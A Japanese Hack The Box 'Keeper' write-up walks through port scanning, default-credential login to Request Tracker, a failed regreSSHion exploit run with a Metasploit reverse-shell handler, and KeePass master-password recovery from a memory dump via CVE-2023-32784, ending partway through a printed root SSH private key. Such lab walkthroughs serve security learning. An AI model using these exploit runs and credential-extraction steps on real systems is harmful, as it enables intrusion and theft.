はじめに
Hack The Box KeeperのWriteupです。
フラグを奪取する方法というより、その過程に視点をおいて細かく書いています。
記事を書いている途中でHTBのTarget IPが3回変わっちゃいました。怠惰です。
一応一意になるようIPを置換してますが、忘れあるかもしれない・・・
Recon
Portscan
tcpのポートスキャンをする。
█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:54:50am
/home/kali> sudo nmap -T4 -p- 10.129.229.41 -Pn
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 01:54 -0400
Nmap scan report for 10.129.229.41
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 128.29 seconds
22/tcp(ssh)と80/tcp(http)を検出した。
上記で検出したtcpポートに対してサービススキャンをする。
█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:54:44am
/home/kali> sudo nmap -sC -sV -p22,80 10.129.229.41 -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 01:55 -0400
Nmap scan report for 10.129.229.41
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
それぞれ下記バージョンのサービスを検出した。
| ポート | サービス | バージョン |
|---|---|---|
| 22/tcp | ssh | OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 |
| 80/tcp | http | nginx 1.18.0 |
udpのポートスキャンをする。特出した検出は無し。
█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:55:20am
/home/kali> sudo nmap -sU --top-ports=20 10.129.229.41
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 01:56 -0400
Nmap scan report for 10.129.229.41
Host is up (0.17s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds
ssh
sshのバージョンを確認する。
█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 01:59:17am
/home/kali> telnet 10.129.229.41 22
Trying 10.129.229.41...
Connected to 10.129.229.41.
Escape character is '^]'.
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3
ポートスキャン結果と同様にSSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3を検出した。
脆弱性情報を検索する。以下重要そうなものをピックアップ。
| CVE番号 | 危険度 | 概要 |
|---|---|---|
| CVE-2024-6387 | 重大 | regreSSHion sshdの競合状態を突いた認証前RCE |
| CVE-2023-38408 | 高 | ssh-agentの機能を悪用してローカルでRCE |
| CVE-2021-41617 | 高 | sshdの権限分離不備によるローカル権限昇格 |
sshでとりあえずログインを試行する。
█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 02:26:37am
/home/kali> ssh root@10.129.229.41
root@10.129.229.41's password:
Permission denied, please try again.
root@10.129.229.41's password:
Permission denied, please try again.
root@10.129.229.41's password:
root@10.129.229.41: Permission denied (publickey,password).
http
とりあえずcurlする。
█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 02:27:05am
/home/kali> curl -vk http://10.129.229.41
* Trying 10.129.229.41:80...
* Established connection to 10.129.229.41 (10.129.229.41 port 80) from 10.10.15.193 port 46022
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.129.229.41
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 08:25:28 GMT
< Content-Type: text/html
< Content-Length: 149
< Last-Modified: Wed, 24 May 2023 14:04:44 GMT
< Connection: keep-alive
< ETag: "646e197c-95"
< Accept-Ranges: bytes
<
<html>
<body>
<a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
</body>
</html>
* Connection #0 to host 10.129.229.41:80 left intact
レスポンスヘッダにバージョン情報nginx/1.18.0 (Ubuntu)を発見した。
脆弱性情報を検索してみたが、危険度が高く、攻撃にすぐつながるような脆弱性はなさそう。
http://tickets.keeper.htb/rt/へのリンクが記載されているため、ドメインをhostsファイルに追記する。
#keeper
10.129.229.41 tickets.keeper.htb
http://tickets.keeper.htb/rt/をブラウザで確認してみる。
バージョン情報RT 4.4.4+dfsg-2ubuntu1 (Debian)を発見した。
脆弱性情報を検索したが、侵入に直接つながるものは無い。
| CVE番号 | 危険度 | 概要 |
|---|---|---|
| CVE-2020-11025 | 高 | 権限チェック不備による情報漏洩 / 権限回避 |
| CVE-2021-38562 | 中 | XSS |
| CVE-2022-31052 | 低 | 入力処理不備による情報漏洩 / 挙動異常 |
ログインページがあるため、デフォルトユーザとパスワードを検索。
このサイトによるとデフォルトユーザはrootでパスワードはpasswordとのことだったため、それらの認証情報を使用してログイン試行する。
デフォルトのユーザとパスワードを使ってログイン試行するとログインに成功した。
ユーザ一覧を発見した。
lnorgaardユーザページを確認した。
パスワードの記載あり。
New user. Initial password set to Welcome2023!
ディレクトリ探査をする。検出したパスにhttpアクセスしても特に情報は無し。
█▓▒░kali@kali░▒▓██▓▒░ Wed Apr 29 06:42:03am
/home/kali> ffuf -c -u "http://tickets.keeper.htb/FUZZ" -w /home/kali/SecLists/Discovery/Web-Content/raft-large-directories.txt -fc 404,302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://tickets.keeper.htb/FUZZ
:: Wordlist : FUZZ: /home/kali/SecLists/Discovery/Web-Content/raft-large-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404,302
________________________________________________
m [Status: 200, Size: 2309, Words: 247, Lines: 112, Duration: 1028ms]
l [Status: 403, Size: 0, Words: 1, Lines: 1, Duration: 1049ms]
rte [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 677ms]
rt [Status: 200, Size: 4236, Words: 407, Lines: 154, Duration: 678ms]
rtl [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 616ms]
rte-snippets [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 589ms]
autohandler [Status: 403, Size: 0, Words: 1, Lines: 1, Duration: 720ms]
rtv [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 669ms]
rtf [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 683ms]
rtm [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 604ms]
rti [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 660ms]
rtr [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 652ms]
rtb [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 675ms]
rtc [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 660ms]
rtq [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 649ms]
rts [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 638ms]
rt3 [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 674ms]
rta [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 667ms]
rtds [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 663ms]
rteeditor [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 655ms]
rtest [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 651ms]
rtg [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 611ms]
rtl2 [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 615ms]
rttc [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 612ms]
rtw [Status: 200, Size: 95, Words: 17, Lines: 1, Duration: 604ms]
:: Progress: [62281/62281] :: Job [1/1] :: 78 req/sec :: Duration: [0:16:58] :: Errors: 0 ::
Exploit
CVE-2024-6387を利用
まずsshの脆弱性CVE-2024-6387で侵入を試みる。sshのバージョンSSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3には、この脆弱性が存在しない場合が多く、結論から言うとこの方法は間違いだった。また、脆弱性が存在していてもレースコンディションのため再現が難しい。
PoCをダウンロードする。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:58:40am
/home/kali/Desktop/Keeper> git clone https://github.com/Karmakstylez/CVE-2024-6387.git
Cloning into 'CVE-2024-6387'...
remote: Enumerating objects: 31, done.
remote: Counting objects: 100% (31/31), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 31 (delta 12), reused 20 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (31/31), 32.08 KiB | 10.69 MiB/s, done.
Resolving deltas: 100% (12/12), done.
移動してターゲットが脆弱なバージョンであるかスキャン。Total vulnerable hosts: 1とあるとおり、この脆弱性に対して脆弱なバージョンであることがわかる。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:58:47am
/home/kali/Desktop/Keeper> cd CVE-2024-6387
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:58:51am
/home/kali/Desktop/Keeper/CVE-2024-6387> python3 CVE-2024-6387.py scan -T 10.129.229.41 -p 22
.aMMMb dMMMMb dMMMMMP dMMMMb .dMMMb .dMMMb dMP dMP
dMP"dMP dMP.dMP dMP dMP dMP dMP" VP dMP" VP dMP dMP
dMP dMP dMMMMP" dMMMP dMP dMP VMMMb VMMMb dMMMMMP
dMP.aMP dMP dMP dMP dMP dP .dMP dP .dMP dMP dMP
VMMMP" dMP dMMMMMP dMP dMP VMMMP" VMMMP" dMP dMP
ReggreSSHion CVE-2024-6387 Vulnerability Checker / Exploiter
2.0 - Optimized by @Kz
🚨Servers likely vulnerable: 1
[+] Server at 10.129.229.41 (N/A):22 (running SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3)
🛡 Servers not vulnerable: 0
🛡 Servers likely not vulnerable (possible LoginGraceTime remediation): 0
⚠ Servers with unknown SSH version: 0
Summary:
📊 Total scanned hosts: 1
🚨 Total vulnerable hosts: 1
🛡 Total not vulnerable hosts: 0
🛡 Total likely not vulnerable hosts: 0
⚠ Total unknown hosts: 0
🔒 Servers with port 22 closed: 0
PoCを実行。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:59:04am
/home/kali/Desktop/Keeper/CVE-2024-6387> python3 CVE-2024-6387.py exploit -T 10.129.229.41 -p 22 -n tun0
待ち受けて数分放置したが、当然失敗する。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 03:59:15am
/home/kali/Desktop/Keeper/CVE-2024-6387> msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.10.15.193; set LPORT 9999; exploit -j"
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
LHOST => 10.10.15.193
LPORT => 9999
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.15.193:9999
msf exploit(multi/handler) >
Reconで奪取した認証情報を利用
ここで奪取したlnorgaardユーザのパスワードWelcome2023!を使用してsshする。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 04:11:31am
/home/kali/Desktop/Keeper/CVE-2024-6387> ssh lnorgaard@10.129.229.41
lnorgaard@10.129.229.41's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$
lnorgaardユーザでログイン成功。ユーザフラグを取得。
lnorgaard@keeper:~$ ls
RT30000.zip user.txt
lnorgaard@keeper:~$ cat user.txt
Enumeration
侵入後とりあえず実行する基本コマンド
ログインユーザの権限を確認。
lnorgaard@keeper:~$ id
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)
tcpの待ち受けポートを確認。
ローカルで3306/tcp(MySQL)と9000/tcpが動いている。
lnorgaard@keeper:~$ netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:25 :::* LISTEN -
OSのバージョンを確認。
lnorgaard@keeper:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
sudoのリストとバージョンを確認。
lnorgaard@keeper:~$ sudo -l
[sudo] password for lnorgaard:
Sorry, user lnorgaard may not run sudo on keeper.
lnorgaard@keeper:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
ログイン可能なユーザを確認。
lnorgaard@keeper:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
lnorgaard:x:1000:1000:lnorgaard,,,:/home/lnorgaard:/bin/bash
suidが付与されたファイルを確認。
lnorgaard@keeper:~$ find / -perm -4000 2>/dev/null
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
侵入したlnorgaardユーザのホームディレクトリに怪しい「RT30000.zip」があるので展開し、fileコマンドでファイルを解析する。
lnorgaard@keeper:~$ ls -la
total 85384
drwxr-xr-x 4 lnorgaard lnorgaard 4096 Jul 25 2023 .
drwxr-xr-x 3 root root 4096 May 24 2023 ..
lrwxrwxrwx 1 root root 9 May 24 2023 .bash_history -> /dev/null
-rw-r--r-- 1 lnorgaard lnorgaard 220 May 23 2023 .bash_logout
-rw-r--r-- 1 lnorgaard lnorgaard 3771 May 23 2023 .bashrc
drwx------ 2 lnorgaard lnorgaard 4096 May 24 2023 .cache
-rw------- 1 lnorgaard lnorgaard 807 May 23 2023 .profile
-rw-r--r-- 1 root root 87391651 May 1 10:18 RT30000.zip
drwx------ 2 lnorgaard lnorgaard 4096 Jul 24 2023 .ssh
-rw-r----- 1 root lnorgaard 33 May 1 08:27 user.txt
-rw-r--r-- 1 root root 39 Jul 20 2023 .vimrc
lnorgaard@keeper:~$ unzip RT30000.zip
Archive: RT30000.zip
inflating: KeePassDumpFull.dmp
extracting: passcodes.kdbx
lnorgaard@keeper:~$ file KeePassDumpFull.dmp
KeePassDumpFull.dmp: Mini DuMP crash report, 16 streams, Fri May 19 13:46:21 2023, 0x1806 type
lnorgaard@keeper:~$ file passcodes.kdbx
passcodes.kdbx: Keepass password database 2.x KDBX
.dmpファイルか...フォレンジック面倒だなぁ...
.kdbxはkeepassというパスワードマネージャの暗号化ファイルのようだ。
そういえばlnorgaardユーザでログイン時、メールを受信したと通知があったため確認。
lnorgaard@keeper:~$ cat /var/mail/lnorgaard
From www-data@keeper.htb Wed May 24 12:37:18 2023
Return-Path: <www-data@keeper.htb>
X-Original-To: lnorgaard@keeper.htb
Delivered-To: lnorgaard@keeper.htb
Received: by keeper.htb (Postfix, from userid 33)
id 64BEF61083; Wed, 24 May 2023 12:37:18 +0200 (CEST)
From: "Enoch Root" <rt@keeper.htb>
In-Reply-To:
Content-Type: multipart/alternative; boundary="----------=_1684924638-1803-2"
X-Managed-BY: RT 4.4.4+dfsg-2ubuntu1 (http://www.bestpractical.com/rt/)
X-RT-Loop-Prevention: tickets.keeper.htb
Subject: [tickets.keeper.htb #300000] Issue with Keepass Client on Windows
X-RT-Originator: root@localhost
References: <RT-Ticket-300000@keeper.htb>
Reply-To: rt@keeper.htb
X-RT-Ticket: tickets.keeper.htb #300000
Message-ID: <rt-4.4.4+dfsg-2ubuntu1-1803-1684924638-1810.300000-8-0@keeper.htb>
To: lnorgaard@keeper.htb
Precedence: bulk
Date: Wed, 24 May 2023 12:37:18 +0200
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
This is a multi-part message in MIME format...
------------=_1684924638-1803-2
RT-Attach-Message: yes
Content-Type: text/plain; charset="utf-8"
X-RT-Original-Encoding: utf-8
Wed May 24 12:37:18 2023: Request 300000 was acted upon by root.
Transaction: Ticket created by root
Queue: General
Subject: Issue with Keepass Client on Windows
Owner: lnorgaard
Requestors: webmaster@keeper.htb
Status: new
Ticket URL: http://keeper.htb/rt/Ticket/Display.html?id=300000
Lise,
Attached to this ticket is a crash dump of the keepass program. Do I need to
update the version of the program first...?
Thanks!
------------=_1684924638-1803-2
Content-Type: text/html; charset="utf-8"
X-RT-Original-Encoding: utf-8
<b>Wed May 24 12:37:18 2023: Request <a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">300000</a> was acted upon by root.</b>
<br>
<table border="0">
<tr><td align="right"><b>Transaction:</b></td><td>Ticket created by root</td></tr>
<tr><td align="right"><b>Queue:</b></td><td>General</td></tr>
<tr><td align="right"><b>Subject:</b></td><td>Issue with Keepass Client on Windows </td></tr>
<tr><td align="right"><b>Owner:</b></td><td>lnorgaard</td></tr>
<tr><td align="right"><b>Requestors:</b></td><td>webmaster@keeper.htb</td></tr>
<tr><td align="right"><b>Status:</b></td><td>new</td></tr>
<tr><td align="right"><b>Ticket URL:</b></td><td><a href="http://keeper.htb/rt/Ticket/Display.html?id=300000">http://keeper.htb/rt/Ticket/Display.html?id=300000</a></td></tr>
</table>
<br/>
<br/>
Lise,<br>
<br>
Attached to this ticket is a crash dump of the keepass program. Do I need to update the version of the program first...?<br>
<br>
Thanks!
------------=_1684924638-1803-2--
rootユーザがRequest Trackerにチケットを発行し、keepassのクラッシュダンプを添付したようだ。そのチケットの担当者がlnorgaardユーザとのこと。
rootが発行したチケットはhttp://keeper.htb/rt/Ticket/Display.html?id=300000
ほかにもww-data,rt,webmasterユーザが存在していることが分かった。
KeePassDumpFull.dmpとpasscodes.kdbxを解析
KeePassDumpFull.dmpとpasscodes.kdbxを深堀していく。
lnorgaardユーザでsshしているが、kaliのほうがいろいろ融通が利くので移動し展開。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 04:51:59am
/home/kali/Desktop/Keeper> scp lnorgaard@10.129.229.41:/home/lnorgaard/RT30000.zip .
lnorgaard@10.129.229.41's password:
RT30000.zip
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 04:55:28am
/home/kali/Desktop/Keeper> unzip RT30000.zip
Archive: RT30000.zip
inflating: KeePassDumpFull.dmp
extracting: passcodes.kdbx
keepass2johnでパスワードクラックしてみる。
これも結論から言うと間違いです。フォレンジックしたくないなぁという甘えで、楽になりたかったんです。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:08:29am
/home/kali/Desktop/Keeper> keepass2john passcodes.kdbx > hash.txt
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:08:30am
/home/kali/Desktop/Keeper> cat hash.txt
passcodes:$keepass$*2*60000*0*5d7b4747e5a278d572fb0a66fe187ae5d74a0e2f56a2aaaf4c4f2b8ca342597d*5b7ec1cf6889266a388abe398d7990a294bf2a581156f7a7452b4074479bdea7*08500fa5a52622ab89b0addfedd5a05c*411593ef0846fc1bb3db4f9bab515b42e58ade0c25096d15f090b0fe10161125*a4842b416f14723513c5fb704a2f49024a70818e786f07e68e82a6d3d7cdbcdc
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:08:56am
/home/kali/Desktop/Keeper> john hash.txt
現実逃避から戻り、KeePassDumpFull.dmpとにらめっこする。
keepassのバージョンを検索。
どうやら、バージョン2.54.1.20815を使用しているようだ。
KeePassバージョン2.54.1.20815に脆弱性がないか検索。
cve-2023-32784を発見。KeeePassのマスターパスワードの残骸がメモリダンプに残るといった脆弱性。PoCも公開されている。
PoCをダウンロードして実行。
/home/kali/Desktop/Keeper> git clone https://github.com/z-jxy/keepass_dump.git
Cloning into 'keepass_dump'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 10 (delta 0), reused 10 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (10/10), 280.26 KiB | 15.57 MiB/s, done.
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:31:54am
/home/kali/Desktop/Keeper> cd keepass_dump
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 05:32:00am
/home/kali/Desktop/Keeper/keepass_dump> python3 keepass_dump.py --recover -f ../KeePassDumpFull.dmp
[*] Searching for masterkey characters
[-] Couldn't find jump points in file. Scanning with slower method.
[*] 0: {UNKNOWN}
[*] 2: d
[*] 3: g
[*] 4: r
[*] 6: d
[*] 7:
[*] 8: m
[*] 9: e
[*] 10: d
[*] 11:
[*] 12: f
[*] 13: l
[*] 15: d
[*] 16: e
[*] Extracted: {UNKNOWN}dgrd med flde
[?] Recovering...
[-] Couldn't verify plaintext match in dump for: dgrd med flde
先ほど記述したとおり、この脆弱性はマスターパスワードの全文が漏洩するものではない。
Extracted: {UNKNOWN}dgrd med flde
とあるように、最初の一文字が不明となっている。
dgrd med fldeを検索してみる。writeupが出てくるので続きはそちらを見てください。
デンマークのお菓子にrødgrød med flødeなるものがあるらしい。
ちなみにRequest Trackerのlnorgaardユーザページに記載があるが、lnorgaardユーザの本名がLise Nørgaardでこれは実在するデンマークのジャーナリストの名前だった。また、Extra infoに記載があるHelpdesk Agent from KorsbækのKorsbækはデンマークの物語の架空の都市らしい。デンマーク人ならこのお菓子をパスワードに設定してもおかしくないよね。お菓子だけに。
kpcliを使用してkeepass.kdbxを確認する。パスワードは上記で見つけたrødgrød med flødeを入力する。
/home/kali/Desktop/Keeper> kpcli -kdb passcodes.kdbx
Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/>
入れましたね。
db内を確認するとなんとrootユーザのパスワードやらsshの鍵セットが入っているじゃないですか。
pcli:/> ls
=== Groups ===
passcodes/
kpcli:/> cd passcodes/
kpcli:/passcodes> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
kpcli:/passcodes> cd Network/
kpcli:/passcodes/Network> ls
=== Entries ===
0. keeper.htb (Ticketing Server)
1. Ticketing System
kpcli:/passcodes/Network> show 0
Title: keeper.htb (Ticketing Server)
Uname: root
Pass: F4><3K0nd!
URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
Privilege Escalation
奪取したパスワードを使用してrootユーザへログイン
先ほど奪取したパスワードF4><3K0nd!を使用してrootユーザへログインをしてみる。結論から言うとこれは間違い。
lnorgaard@keeper:~$ su -
Password:
su: Authentication failure
lnorgaard@keeper:~$ exit
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:02:35am
/home/kali/Desktop/Keeper/CVE-2024-6387> ssh root@10.129.229.41
root@10.129.229.41's password:
Permission denied, please try again.
ログインできない。
奪取した鍵セットを使用してrootユーザへログイン
奪取した鍵セットをkeeper.ppkとして保存する。改行を乱すといかんですよ。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:10:41am
/home/kali/Desktop/Keeper> cat keeper.ppk
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
